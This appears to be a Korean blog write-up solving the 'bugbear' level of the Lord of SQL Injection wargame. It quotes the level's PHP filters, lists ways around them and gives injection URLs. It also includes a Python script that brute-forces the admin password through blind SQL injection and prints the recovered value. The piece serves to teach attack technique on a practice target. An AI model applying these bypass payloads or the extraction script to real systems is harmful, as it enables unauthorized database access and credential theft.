728x90
반응형
상단에 나오는 쿼리문은 DB에 해당 쿼리문으로 데이터가 들어간다고 알려준다.
이번문제 쿼리문을 보면 id는 guest로 값이 있는 파라미터와 공백의 pw 파라미터, no 파라미터가 있다.
select id from prob_bugbear where id='guest' and pw='' and no=
아래에는 php 코드가 나와있으며, 이걸 참고해서 문제를 푸는 것 이다.
해당 php 코드에서 자세하게 봐야 하는 부분은 이 부분인 것 같다.
preg_match 조건문 부분을 보면 다음과 같이 필터링하고 있다.
- no 변수에는 prob, (_), (.), () 라는 문자열을 필터링하는 것을 보아 prob라는 테이블 접근과 함수사용을 막는 것 같다.
- pw 변수에는 ‘, “ 문자열을 제한하고 있다.
- 추가로 no 변수에서는 substr, ascii, =, or, and, (공백), like, 0x 문자열들도 필터링한다.
addslashes() 함수를 사용하여 pw변수의 일부 문자열앞에 백슬래시(\)를 붙여서 반환한다.
- 싱글 쿼터('), 더블 쿼터("), 백슬래시(\), NUL(NULL)에 해당한다.
문제를 풀기 위해서는 계정의 정확한 pw를 입력해야 한다.
if(preg_match('/prob|_|\\.|\\(\\)/i', $_GET[no])) exit("No Hack ~_~");
if(preg_match('/\\'/i', $_GET[pw])) exit("HeHe");
if(preg_match('/\\'|substr|ascii|=|or|and| |like|0x/i', $_GET[no])) exit("HeHe");
$query = "select id from prob_bugbear where id='guest' and pw='{$_GET[pw]}' and no={$_GET[no]}";
$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_bugbear where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("bugbear");
필터링을 우회하는 방법을 생각해보았다.
- substr = mid()
- ascii = ?
- = = instr(1, 1);, in
- or = ||
- and = &&
- 공백 = %0a
- like = instr(1, 1)
- 0x = ?
해당 우회 방법이 먹히는지 확인을 위해 공격문을 만들어보자.
?no=1%0a||id%0ain%0a("admin")%23 => Hello admin 문자열이 뜸
?no=1%0a||id%0ain%0a("admin")%0a%26%26%0alength(pw)>7%0a%26%26%0alength(pw)<9 -> 8글자임을 확인함
위 공격문을 통해 Hello admin이라는 문자열을 확인했으므로, pw의 길이는 8글자이다.
패스워드를 하나하나 입력하기에는 오래 걸리므로 아래 코드를 사용하여 실행시켰다.
- 앞에서 확인했던 %0a를 사용하니 에러가 떠서 /**/로 바꿔주었다.
소스코드 참고 : https://butt3r-cat.tistory.com/entry/LOS-Lord-of-SQL-Injection-11번-golem-문제풀이
import requests
URL = '<https://los.rubiya.kr/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php>'
cookies = {'PHPSESSID' : '쿠키값'} #각자의 쿠키 값을 대입
password = ''
for admin_len in range(8): #pw의 길이 8만큼 수행
for admin_pass in range(ord('0'), ord('z')): #숫자 0에서 부터 문자 z까지 대입
query = {'no':'0||id/**/in/**/(\\"admin\\")/**/&&/**/mid(pw,1,'+str(admin_len+1)+')/**/in/**/(\\"'+password+chr(admin_pass)+'\\")#'}
res = requests.get(URL, params = query, cookies = cookies)
if('Hello admin' in res.text): #만약에 res.text에 Hello admin이 뜨면 pw 출력
password = password + chr(admin_pass)
print('Password detected (' + str(admin_len + 1) + ' words): ' + password)
break
print("pw 값은 [",password,"] 입니다")
pw 값을 알아냈다.
?pw=52dc3991 를 보내면 될 것 같다.
728x90
반응형